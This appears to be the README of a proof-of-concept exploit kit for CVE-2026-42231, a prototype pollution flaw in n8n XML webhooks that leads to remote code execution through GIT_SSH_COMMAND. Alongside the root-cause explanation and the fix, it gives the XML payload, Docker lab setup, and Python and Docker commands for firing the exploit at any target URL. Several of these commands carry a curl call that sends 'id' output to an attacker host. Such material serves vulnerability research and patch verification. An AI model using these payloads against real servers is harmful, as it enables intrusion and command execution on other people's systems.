
Proof-of-concept exploit for CVE-2026-42231, a critical prototype pollution vulnerability in n8n XML webhooks leading to remote code execution. Includes Docker lab, Python PoC, and Node.js verifier.
CVE: CVE-2026-42231
Severity: Critical (CVSS 10.0)
Affected: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Fixed in: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts creates a module-level
singleton xml2js Parser without tagNameProcessors or
attrNameProcessors. This allows an attacker to send an XML webhook body
containing a <__proto__> element.
xml2js 0.6.2 uses Object.defineProperty with a data descriptor to set
element keys on parsed objects. Because '__proto__' in obj is always
true, assignOrPush() wraps the value in an array and stores it as an
own enumerable data property — bypassing the [[Set]] accessor that
would normally update the prototype chain safely.
The own __proto__ property survives JSON.stringify (executed when n8n
persists execution data to SQLite/PostgreSQL), and after JSON.parse on
reload a subsequent Object.assign(target, reloadedBody) reroutes
target's prototype to the attacker-controlled object.
In workflows that also contain a Git node performing an SSH operation,
the polluted prototype exposes a spawnOptions / GIT_SSH_COMMAND value
to simple-git's createInstanceConfig, enabling OS-level command
execution.
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // lowercases tags — but does NOT block __proto__
explicitArray: false,
// ← NO tagNameProcessors
// ← NO attrNameProcessors
});
Fix (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. Attacker sends XML POST to a public Webhook trigger:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. xml2js body parser creates req.body.root where '__proto__' is an
OWN ENUMERABLE DATA PROPERTY:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp.
The assignment clone['__proto__'] = deepCopy(attackerArray)
silently replaces clone's prototype via the [[Set]] accessor.
4. n8n serialises execution data to DB:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
The __proto__ key is included because it is own and enumerable.
Confirmed in the execution_data table in SQLite.
5. On reload, JSON.parse recreates '__proto__' as an own data property
(plain object, no array wrapping).
Object.assign(gitOptions, reloadedBody)
reroutes gitOptions's prototype to the attacker-controlled object.
6. When the Git node calls simpleGit(gitOptions):
createInstanceConfig(gitOptions)
reads config.spawnOptions via the prototype chain → truthy →
spawnOptionsPlugin is registered.
With GIT_SSH_COMMAND in the env object, git executes the attacker's
command on the next SSH operation.
normalizeTagsnormalizeTags: true lowercases all XML tag names, so child elements
like <GIT_SSH_COMMAND> become git_ssh_command in the parsed object.
To preserve case for environment variable names, use XML attributes
(attribute names are not normalised by normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
This pulls n8nio/n8n:1.123.22 (last affected release), builds the
attacker image, starts the vulnerable target at http://localhost:5678,
creates and activates a webhook workflow automatically, and saves the
webhook URL to .webhook_state.
./exploit.sh setup
Expected output (truncated):
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.
Run: ./exploit.sh demo # verify the pollution primitive
./exploit.sh exploit # deliver all three RCE payloads
./exploit.sh demo
The PoC sends a verification payload and shows the parsed body echoed back from the n8n workflow. A vulnerable instance returns:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# or with a custom command:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Three complementary payloads are delivered:
| Payload | Technique |
|---|---|
| A | <__proto__> tag — as XML attribute |
GIT_SSH_COMMAND if RCE fired."step4_objectAssignPolluted": true confirming the chain.pip install -r requirements.txt
# Verify only — no Git node required:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# Full exploit — requires Webhook + Git/SSH node workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
In some deployments n8n registers the webhook as
/webhook/<workflowId>/webhook/<path>. If the short form
/webhook/<path> returns 404, pass the workflow-ID prefix as --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
Reproduces the exact xml2js parser config used by n8n and steps through all four chain stages:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Expected output on vulnerable config:
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
# Build the attacker image
docker build -t n8n-proto-pollution-poc .
# Demo mode (attaches to the shared lab network)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Full exploit
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Against an external target (no network flag needed)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
Stops containers and removes volumes (including the SQLite database).
GIT_SSH_COMMAND| B | <constructor><prototype> chain |
| C | Nested <__proto__> with env attributes |
| File | Description |
|---|
poc_GHSA-q5f4-99jv-pgg5.py | Standalone Python HTTP PoC — three XML payload variants, --demo and --cmd modes |
verify_GHSA-q5f4-99jv-pgg5.js | Node.js local chain verifier — steps through all 4 exploitation stages without a live instance |
Dockerfile | Attacker container image |
docker-compose.yml | Full lab: vulnerable n8n + attacker container |
exploit.sh | Helper script for setup, demo, exploit, and cleanup |
requirements.txt | Python dependencies |